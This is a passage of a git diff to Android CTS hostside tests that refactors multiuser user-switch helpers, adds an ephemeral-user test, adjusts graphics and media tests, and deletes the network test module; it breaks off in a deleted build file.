--- a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
+++ b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
@@ -121,7 +121,7 @@
 
     private void spinSleep(int durationMs) {
         long until = System.currentTimeMillis() + durationMs;
-        while (System.currentTimeMillis() < until) {}
+        while (System.currentTimeMillis() <= until) {}
     }
 
     private void scheduleDraw() {
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index cb6b68c..33859bf 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -109,7 +109,7 @@
         int veryJankyDelta = countFramesAbove(statsAfter, 60) - countFramesAbove(statsBefore, 60);
         // The 1st frame could be >40ms, but nothing after that should be
         assertThat(veryJankyDelta).isAtMost(2);
-        int noGPUJank = countGPUFramesAbove(statsAfter, 60) - countGPUFramesAbove(statsBefore, 60);
+        int noGPUJank = countGPUFramesAbove(statsAfter, 25) - countGPUFramesAbove(statsBefore, 25);
         assertThat(noGPUJank).isEqualTo(0);
     }
 
diff --git a/hostsidetests/incrementalinstall/Android.bp b/hostsidetests/incrementalinstall/Android.bp
index 64c15aa..b4576b8 100644
--- a/hostsidetests/incrementalinstall/Android.bp
+++ b/hostsidetests/incrementalinstall/Android.bp
@@ -26,6 +26,7 @@
     ],
     test_suites: [
         "cts",
+        "general-tests",
     ],
     data: [
         ":IncrementalTestAppDynamicAsset",
diff --git a/hostsidetests/incrementalinstall/app/Android.bp b/hostsidetests/incrementalinstall/app/Android.bp
index 85a8be1..bd48119 100644
--- a/hostsidetests/incrementalinstall/app/Android.bp
+++ b/hostsidetests/incrementalinstall/app/Android.bp
@@ -24,6 +24,7 @@
     },
     test_suites: [
         "cts",
+        "general-tests",
     ],
     v4_signature: true,
     static_libs: [
@@ -51,6 +52,7 @@
     },
     test_suites: [
         "cts",
+        "general-tests",
     ],
     v4_signature: true,
     static_libs: [
@@ -74,6 +76,7 @@
     },
     test_suites: [
         "cts",
+        "general-tests",
     ],
     v4_signature: true,
     static_libs: [
diff --git a/hostsidetests/incrementalinstall/appvalidator/Android.bp b/hostsidetests/incrementalinstall/appvalidator/Android.bp
index 9634aff..41021fa 100644
--- a/hostsidetests/incrementalinstall/appvalidator/Android.bp
+++ b/hostsidetests/incrementalinstall/appvalidator/Android.bp
@@ -23,6 +23,7 @@
     },
     test_suites: [
         "cts",
+        "general-tests",
     ],
     static_libs: [
         "ctstestrunner-axt",
diff --git a/hostsidetests/media/bitstreams/app/AndroidManifest.xml b/hostsidetests/media/bitstreams/app/AndroidManifest.xml
index 0f77bad..f20f49c 100644
--- a/hostsidetests/media/bitstreams/app/AndroidManifest.xml
+++ b/hostsidetests/media/bitstreams/app/AndroidManifest.xml
@@ -18,6 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.media.cts.bitstreams.app">
 
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <application>
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
index ae8d4a8..1839296 100644
--- a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
+++ b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
@@ -27,6 +27,7 @@
 import android.media.cts.bitstreams.MediaBitstreams;
 import android.os.Bundle;
 import android.os.Debug;
+import android.os.Environment;
 import android.util.Xml;
 
 import androidx.test.InstrumentationRegistry;
@@ -355,7 +356,7 @@
 
         try {
 
-            File tmpf = File.createTempFile(getClass().getSimpleName(), suffix, mAppCache);
+            File tmpf = File.createTempFile(getClass().getSimpleName(), suffix, Environment.getExternalStorageDirectory());
             Instrumentation inst = InstrumentationRegistry.getInstrumentation();
             Bundle bundle = new Bundle();
             bundle.putString(MediaBitstreams.KEY_APP_CACHE_DIR, mAppCache.getCanonicalPath());
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
index 0241879..b540930 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
@@ -27,7 +27,7 @@
     private static final String HUMAN = "(^_^)";
 
     public void testIsMonkey() throws Exception {
-        mDevice.executeShellCommand(MONKEY_CMD + " -p " + PKGS[0] + " 500");
+        mDevice.executeShellCommand(MONKEY_CMD + " -p " + PKGS[0] + " 1000");
         assertIsUserAMonkey(true);
     }
 
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index 4cbe7ae..07883e0 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -23,7 +23,20 @@
 import org.junit.After;
 import org.junit.Before;
 
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
 import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.LinkedHashSet;
+import java.util.Scanner;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 /**
  * Base class for multi user tests.
@@ -39,6 +52,10 @@
      */
     private static final String FEATURE_AUTOMOTIVE = "feature:android.hardware.type.automotive";
 
+
+    protected static final long LOGCAT_POLL_INTERVAL_MS = 1000;
+    protected static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 360_000;
+
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
     protected boolean mIsSplitSystemUser;
@@ -145,6 +162,96 @@
         return getDevice().hasFeature(FEATURE_AUTOMOTIVE);
     }
 
+    protected void assertSwitchToNewUser(int toUserId) throws Exception {
+        final String exitString = "Finished processing BOOT_COMPLETED for u" + toUserId;
+        final Set<String> appErrors = new LinkedHashSet<>();
+        getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
+        assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+        final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
+        assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors="
+                + appErrors, result);
+        if (!appErrors.isEmpty()) {
+            throw new AppCrashOnBootError(appErrors);
+        }
+    }
+
+    protected void assertSwitchToUser(int fromUserId, int toUserId) throws Exception {
+        final String exitString = "uc_continue_user_switch: [" + fromUserId + "," + toUserId + "]";
+        final Set<String> appErrors = new LinkedHashSet<>();
+        getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
+        assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+        final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
+        assertTrue("Didn't reach \"Continue user switch\" stage. appErrors=" + appErrors, result);
+        if (!appErrors.isEmpty()) {
+            throw new AppCrashOnBootError(appErrors);
+        }
+    }
+
+    protected void assertUserNotPresent(int userId) throws Exception {
+        assertFalse("User ID " + userId + " should not be present",
+                getDevice().listUsers().contains(userId));
+    }
+
+    /*
+     * Waits for userId to removed or at removing state.
+     * Returns true if user is removed or at removing state.
+     * False if user is not removed by USER_SWITCH_COMPLETE_TIMEOUT_MS.
+     */
+    protected boolean waitForUserRemove(int userId)
+            throws DeviceNotAvailableException, InterruptedException {
+        // Example output from dumpsys when user is flagged for removal:
+        // UserInfo{11:Driver:154} serialNo=50 <removing>  <partial>
+        final String userSerialPatter = "(.*\\{)(\\d+)(.*\\})(.*=)(\\d+)(.*)";
+        final Pattern pattern = Pattern.compile(userSerialPatter);
+        long ti = System.currentTimeMillis();
+        while (System.currentTimeMillis() - ti < USER_SWITCH_COMPLETE_TIMEOUT_MS) {
+            if (!getDevice().listUsers().contains(userId)) {
+                return true;
+            }
+            String commandOutput = getDevice().executeShellCommand("dumpsys user");
+            Matcher matcher = pattern.matcher(commandOutput);
+            while(matcher.find()) {
+                if (Integer.parseInt(matcher.group(2)) == userId
+                        && matcher.group(6).contains("removing")) {
+                    return true;
+                }
+            }
+            Thread.sleep(LOGCAT_POLL_INTERVAL_MS);
+        }
+        return false;
+    }
+
+    private boolean waitForUserSwitchComplete(Set<String> appErrors, int targetUserId,
+            String exitString) throws DeviceNotAvailableException, InterruptedException {
+        boolean mExitFound = false;
+        long ti = System.currentTimeMillis();
+        while (System.currentTimeMillis() - ti < USER_SWITCH_COMPLETE_TIMEOUT_MS) {
+            String logs = getDevice().executeAdbCommand("logcat", "-b", "all", "-d",
+                    "ActivityManager:D", "AndroidRuntime:E", "*:I");
+            Scanner in = new Scanner(logs);
+            while (in.hasNextLine()) {
+                String line = in.nextLine();
+                if (line.contains("Showing crash dialog for package")) {
+                    appErrors.add(line);
+                } else if (line.contains(exitString)) {
+                    // Parse all logs in case crashes occur as a result of onUserChange callbacks
+                    mExitFound = true;
+                } else if (line.contains("FATAL EXCEPTION IN SYSTEM PROCESS")) {
+                    throw new IllegalStateException("System process crashed - " + line);
+                }
+            }
+            in.close();
+            if (mExitFound) {
+                if (!appErrors.isEmpty()) {
+                    CLog.w("App crash dialogs found: " + appErrors);
+                }
+                return true;
+            }
+            Thread.sleep(LOGCAT_POLL_INTERVAL_MS);
+        }
+        return false;
+    }
+
     private void removeTestUsers() throws Exception {
         for (int userId : getDevice().listUsers()) {
             if (!mFixedUsers.contains(userId)) {
@@ -160,4 +267,60 @@
                 || "1".equals(commandOuput) || "true".equals(commandOuput)
                 || "on".equals(commandOuput);
     }
+
+    static class AppCrashOnBootError extends AssertionError {
+        private static final Pattern PACKAGE_NAME_PATTERN = Pattern.compile("package ([^\\s]+)");
+        private Set<String> errorPackages;
+
+        AppCrashOnBootError(Set<String> errorLogs) {
+            super("App error dialog(s) are present: " + errorLogs);
+            this.errorPackages = errorLogsToPackageNames(errorLogs);
+        }
+
+        private static Set<String> errorLogsToPackageNames(Set<String> errorLogs) {
+            Set<String> result = new HashSet<>();
+            for (String line : errorLogs) {
+                Matcher matcher = PACKAGE_NAME_PATTERN.matcher(line);
+                if (matcher.find()) {
+                    result.add(matcher.group(1));
+                } else {
+                    throw new IllegalStateException("Unrecognized line " + line);
+                }
+            }
+            return result;
+        }
+    }
+
+    /**
+     * Rule that retries the test if it failed due to {@link AppCrashOnBootError}
+     */
+    public static class AppCrashRetryRule implements TestRule {
+
+        @Override
+        public Statement apply(Statement base, Description description) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                    Set<String> errors = evaluateAndReturnAppCrashes(base);
+                    if (errors.isEmpty()) {
+                        return;
+                    }
+                    CLog.e("Retrying due to app crashes: " + errors);
+                    // Fail only if same apps are crashing in both runs
+                    errors.retainAll(evaluateAndReturnAppCrashes(base));
+                    assertTrue("App error dialog(s) are present after 2 attempts: " + errors,
+                            errors.isEmpty());
+                }
+            };
+        }
+
+        private static Set<String> evaluateAndReturnAppCrashes(Statement base) throws Throwable {
+            try {
+                base.evaluate();
+            } catch (AppCrashOnBootError e) {
+                return e.errorPackages;
+            }
+            return new HashSet<>();
+        }
+    }
 }
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index fe23555..1513232 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -19,36 +19,21 @@
 import android.platform.test.annotations.Presubmit;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
 import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
 
-import java.util.HashSet;
-import java.util.LinkedHashSet;
-import java.util.Scanner;
-import java.util.Set;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import static org.junit.Assert.assertTrue;
-
 /**
  * Test verifies that users can be created/switched to without error dialogs shown to the user
  * Run: atest CreateUsersNoAppCrashesTest
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
-    private static final long LOGCAT_POLL_INTERVAL_MS = 1000;
-    private static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 180000;
-
-    @Rule public AppCrashRetryRule appCrashRetryRule = new AppCrashRetryRule();
 
     @Presubmit
     @Test
@@ -77,116 +62,4 @@
         assertSwitchToNewUser(userId);
         assertSwitchToUser(userId, mInitialUserId);
     }
-
-    private void assertSwitchToNewUser(int toUserId) throws Exception {
-        final String exitString = "Finished processing BOOT_COMPLETED for u" + toUserId;
-        final Set<String> appErrors = new LinkedHashSet<>();
-        getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
-        assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
-        final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
-        assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors="
-                + appErrors, result);
-        if (!appErrors.isEmpty()) {
-            throw new AppCrashOnBootError(appErrors);
-        }
-    }
-
-    private void assertSwitchToUser(int fromUserId, int toUserId) throws Exception {
-        final String exitString = "uc_continue_user_switch: [" + fromUserId + "," + toUserId + "]";
-        final Set<String> appErrors = new LinkedHashSet<>();
-        getDevice().executeAdbCommand("logcat", "-b", "all", "-c"); // Reset log
-        assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
-        final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
-        assertTrue("Didn't reach \"Continue user switch\" stage. appErrors=" + appErrors, result);
-        if (!appErrors.isEmpty()) {
-            throw new AppCrashOnBootError(appErrors);
-        }
-    }
-
-    private boolean waitForUserSwitchComplete(Set<String> appErrors, int targetUserId,
-            String exitString) throws DeviceNotAvailableException, InterruptedException {
-        boolean mExitFound = false;
-        long ti = System.currentTimeMillis();
-        while (System.currentTimeMillis() - ti < USER_SWITCH_COMPLETE_TIMEOUT_MS) {
-            String logs = getDevice().executeAdbCommand("logcat", "-b", "all", "-d",
-                    "ActivityManager:D", "AndroidRuntime:E", "*:I");
-            Scanner in = new Scanner(logs);
-            while (in.hasNextLine()) {
-                String line = in.nextLine();
-                if (line.contains("Showing crash dialog for package")) {
-                    appErrors.add(line);
-                } else if (line.contains(exitString)) {
-                    // Parse all logs in case crashes occur as a result of onUserChange callbacks
-                    mExitFound = true;
-                } else if (line.contains("FATAL EXCEPTION IN SYSTEM PROCESS")) {
-                    throw new IllegalStateException("System process crashed - " + line);
-                }
-            }
-            in.close();
-            if (mExitFound) {
-                if (!appErrors.isEmpty()) {
-                    CLog.w("App crash dialogs found: " + appErrors);
-                }
-                return true;
-            }
-            Thread.sleep(LOGCAT_POLL_INTERVAL_MS);
-        }
-        return false;
-    }
-
-    static class AppCrashOnBootError extends AssertionError {
-        private static final Pattern PACKAGE_NAME_PATTERN = Pattern.compile("package ([^\\s]+)");
-        private Set<String> errorPackages;
-
-        AppCrashOnBootError(Set<String> errorLogs) {
-            super("App error dialog(s) are present: " + errorLogs);
-            this.errorPackages = errorLogsToPackageNames(errorLogs);
-        }
-
-        private static Set<String> errorLogsToPackageNames(Set<String> errorLogs) {
-            Set<String> result = new HashSet<>();
-            for (String line : errorLogs) {
-                Matcher matcher = PACKAGE_NAME_PATTERN.matcher(line);
-                if (matcher.find()) {
-                    result.add(matcher.group(1));
-                } else {
-                    throw new IllegalStateException("Unrecognized line " + line);
-                }
-            }
-            return result;
-        }
-    }
-
-    /**
-     * Rule that retries the test if it failed due to {@link AppCrashOnBootError}
-     */
-    public static class AppCrashRetryRule implements TestRule {
-
-        @Override
-        public Statement apply(Statement base, Description description) {
-            return new Statement() {
-                @Override
-                public void evaluate() throws Throwable {
-                    Set<String> errors = evaluateAndReturnAppCrashes(base);
-                    if (errors.isEmpty()) {
-                        return;
-                    }
-                    CLog.e("Retrying due to app crashes: " + errors);
-                    // Fail only if same apps are crashing in both runs
-                    errors.retainAll(evaluateAndReturnAppCrashes(base));
-                    assertTrue("App error dialog(s) are present after 2 attempts: " + errors,
-                            errors.isEmpty());
-                }
-            };
-        }
-
-        private static Set<String> evaluateAndReturnAppCrashes(Statement base) throws Throwable {
-            try {
-                base.evaluate();
-            } catch (AppCrashOnBootError e) {
-                return e.errorPackages;
-            }
-            return new HashSet<>();
-        }
-    }
 }
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java b/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java
new file mode 100644
index 0000000..1b53675
--- /dev/null
+++ b/hostsidetests/multiuser/src/android/host/multiuser/EphemeralTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.host.multiuser;
+
+import android.platform.test.annotations.Presubmit;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Test verifies that ephemeral users are removed after switched away and after reboot.
+ * Run: atest android.host.multiuser.EphemeralTest
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class EphemeralTest extends BaseMultiUserTest {
+
+    /** Test to verify ephemeral user is removed after switch out to another user. */
+    @Presubmit
+    @Test
+    public void testSwitchAndRemoveEphemeralUser() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        int ephemeralUserId = -1;
+        try {
+            ephemeralUserId = getDevice().createUser(
+                    "TestUser_" + System.currentTimeMillis() /* name */,
+                    false /* guest */,
+                    true /* ephemeral */);
+        } catch (Exception e) {
+            CLog.w("Failed to create user. Skipping test.");
+            return;
+        }
+        assertSwitchToNewUser(ephemeralUserId);
+        assertSwitchToUser(ephemeralUserId, mInitialUserId);
+        waitForUserRemove(ephemeralUserId);
+        assertUserNotPresent(ephemeralUserId);
+    }
+
+    /** Test to verify ephemeral user is removed after reboot. */
+    @Presubmit
+    @Test
+    public void testRebootAndRemoveEphemeralUser() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        int ephemeralUserId = -1;
+        try {
+            ephemeralUserId = getDevice().createUser(
+                    "TestUser_" + System.currentTimeMillis() /* name */,
+                    false /* guest */,
+                    true /* ephemeral */);
+        } catch (Exception e) {
+            CLog.w("Failed to create user. Skipping test.");
+            return;
+        }
+        assertSwitchToNewUser(ephemeralUserId);
+        getDevice().reboot();
+        assertUserNotPresent(ephemeralUserId);
+    }
+}
diff --git a/hostsidetests/net/Android.bp b/hostsidetests/net/Android.bp
deleted file mode 100644
index 47b114b..0000000
--- a/hostsidetests/net/Android.bp
+++ /dev/null
@@ -1,29 +0,0 @@
-// Copyright (C) 2014 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_test_host {
-    name: "CtsHostsideNetworkTests",
-    defaults: ["cts_defaults"],
-    // Only compile source java files in this apk.
-    srcs: ["src/**/*.java"],
-    libs: [
-        "cts-tradefed",
-        "tradefed",
-    ],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-}
diff --git a/hostsidetests/net/AndroidTest.xml b/hostsidetests/net/AndroidTest.xml
deleted file mode 100644
index b7fefaf..0000000
--- a/hostsidetests/net/AndroidTest.xml
+++ /dev/null
@@ -1,41 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS net host test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
-    <target_preparer class="com.android.cts.net.NetworkPolicyTestsPreparer" />
-
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="teardown-command" value="cmd power set-mode 0" />
-        <option name="teardown-command" value="cmd battery reset" />
-        <option name="teardown-command" value="cmd netpolicy stop-watching" />
-    </target_preparer>
-
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsHostsideNetworkTests.jar" />
-        <option name="runtime-hint" value="3m56s" />
-    </test>
-
-    <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
-        <option name="directory-keys" value="/sdcard/CtsHostsideNetworkTests" />
-        <option name="collect-on-run-ended-only" value="true" />
-    </metrics_collector>
-</configuration>
diff --git a/hostsidetests/net/OWNERS b/hostsidetests/net/OWNERS
deleted file mode 100644
index 52c8053..0000000
--- a/hostsidetests/net/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# Bug component: 61373
-sudheersai@google.com
-lorenzo@google.com
-jchalard@google.com
diff --git a/hostsidetests/net/aidl/Android.bp b/hostsidetests/net/aidl/Android.bp
deleted file mode 100644
index 320a1fa..0000000
--- a/hostsidetests/net/aidl/Android.bp
+++ /dev/null
@@ -1,24 +0,0 @@
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_test_helper_library {
-    name: "CtsHostsideNetworkTestsAidl",
-    sdk_version: "current",
-    srcs: [
-        "com/android/cts/net/hostside/IMyService.aidl",
-        "com/android/cts/net/hostside/INetworkCallback.aidl",
-        "com/android/cts/net/hostside/INetworkStateObserver.aidl",
-        "com/android/cts/net/hostside/IRemoteSocketFactory.aidl",
-    ],
-}
diff --git a/hostsidetests/net/aidl/com/android/cts/net/hostside/IMyService.aidl b/hostsidetests/net/aidl/com/android/cts/net/hostside/IMyService.aidl
deleted file mode 100644
index 5aafdf0..0000000
--- a/hostsidetests/net/aidl/com/android/cts/net/hostside/IMyService.aidl
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import com.android.cts.net.hostside.INetworkCallback;
-
-interface IMyService {
-    void registerBroadcastReceiver();
-    int getCounters(String receiverName, String action);
-    String checkNetworkStatus();
-    String getRestrictBackgroundStatus();
-    void sendNotification(int notificationId, String notificationType);
-    void registerNetworkCallback(in INetworkCallback cb);
-    void unregisterNetworkCallback();
-}
diff --git a/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkCallback.aidl b/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkCallback.aidl
deleted file mode 100644
index 2048bab..0000000
--- a/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkCallback.aidl
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import android.net.Network;
-import android.net.NetworkCapabilities;
-
-interface INetworkCallback {
-    void onBlockedStatusChanged(in Network network, boolean blocked);
-    void onAvailable(in Network network);
-    void onLost(in Network network);
-    void onCapabilitiesChanged(in Network network, in NetworkCapabilities cap);
-}
diff --git a/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkStateObserver.aidl b/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkStateObserver.aidl
deleted file mode 100644
index 165f530..0000000
--- a/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkStateObserver.aidl
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-interface INetworkStateObserver {
-    boolean isForeground();
-    void onNetworkStateChecked(String resultData);
-}
\ No newline at end of file
diff --git a/hostsidetests/net/aidl/com/android/cts/net/hostside/IRemoteSocketFactory.aidl b/hostsidetests/net/aidl/com/android/cts/net/hostside/IRemoteSocketFactory.aidl
deleted file mode 100644
index 68176ad..0000000
--- a/hostsidetests/net/aidl/com/android/cts/net/hostside/IRemoteSocketFactory.aidl
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import android.os.ParcelFileDescriptor;
-
-interface IRemoteSocketFactory {
-    ParcelFileDescriptor openSocketFd(String host, int port, int timeoutMs);
-    String getPackageName();
-    int getUid();
-}
diff --git a/hostsidetests/net/app/Android.bp b/hostsidetests/net/app/Android.bp
deleted file mode 100644
index 9903756..0000000
--- a/hostsidetests/net/app/Android.bp
+++ /dev/null
@@ -1,40 +0,0 @@
-//
-// Copyright (C) 2014 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-android_test_helper_app {
-    name: "CtsHostsideNetworkTestsApp",
-    defaults: ["cts_support_defaults"],
-    //sdk_version: "current",
-    platform_apis: true,
-    static_libs: [
-        "androidx.test.rules",
-        "androidx.test.ext.junit",
-        "compatibility-device-util-axt",
-        "ctstestrunner-axt",
-        "ub-uiautomator",
-        "CtsHostsideNetworkTestsAidl",
-    ],
-    libs: [
-        "android.test.runner",
-        "android.test.base",
-    ],
-    srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
